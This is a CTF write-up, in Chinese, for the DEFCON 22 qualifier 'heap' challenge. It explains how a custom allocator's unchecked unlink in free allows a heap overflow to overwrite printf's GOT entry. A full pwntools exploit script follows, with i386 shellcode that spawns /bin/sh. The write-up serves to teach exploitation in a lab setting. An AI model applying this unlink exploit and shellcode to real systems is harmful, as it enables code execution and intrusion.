DEFCON22-CTF-Quals-HEAP writeup
上个学期某线下赛里看到的这个题,当时没做直接拿队友的exp打了,现在看看。
checksec:
用了伪随机数,malloc了20个chunk,每次的size都固定。
打印出来了每个chunk的地址。
往第11个chunk里写数据,最多能写0x1000bytes,堆溢出。
之后是所有堆块的释放。
malloc和free函数好像都没用glibc中的,而是自己写了函数。
分析一下free函数发现两处类似unlink的地方。
第一处检查当前要释放的chunk的inuse是否为0,若为0,则将前一块chunk进行unlink操作,然后与当前chunk合并。
第二处检查当前要释放的chunk的下一个chunk是否在使用(通过下下chunk的inuse判断),若没在使用,则对下一个chunk进行unlink操作,然后合并。
检查非常松.
假设有A B C三个堆块。
B为可以输入内容的堆块。
在B中伪造FD BK,同时溢出C堆块的size位为一个偶数。
这样在free(A)的时候就能达到DWORD SHOOT的效果。
可以在B堆块中填上shellcode,改写printf_got为B堆块位置。
拿到shell。
exp:
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年04月06日 星期六 13时16分57秒
# File Name: exp.py
# Description:
"""
from pwn import *
io = process('./defcon22heap')
context.log_level = 'debug'
context.terminal = ['terminator' , '-x' , 'sh' , '-c']
context.arch = 'i386'
printfgot = 0x0804C004
putsgot = 0x0804C018
exitgot = 0x0804C020
exitaddr = 0x804c8ac
'''
[[next+4] + 8] = next+8 DWORD SHOOT
[[next+8] + 4] = next+4
'''
#io.recv()
info = io.recv()
scaddr = int(info.split("[ALLOC]")[11][5:12],16)
print hex(scaddr)
shellcode = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
#shellcode = asm(shellcraft.i386.linux.sh())
#shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"
payload = p32(printfgot-8)
payload += p32(scaddr + 8)
payload += '\x90'*(260-8-len(shellcode)) #nopslide
payload += shellcode
payload += p32(0x100) #next next size
payload += "le3d1ng"
io.sendline(payload)
io.recv()
io.interactive()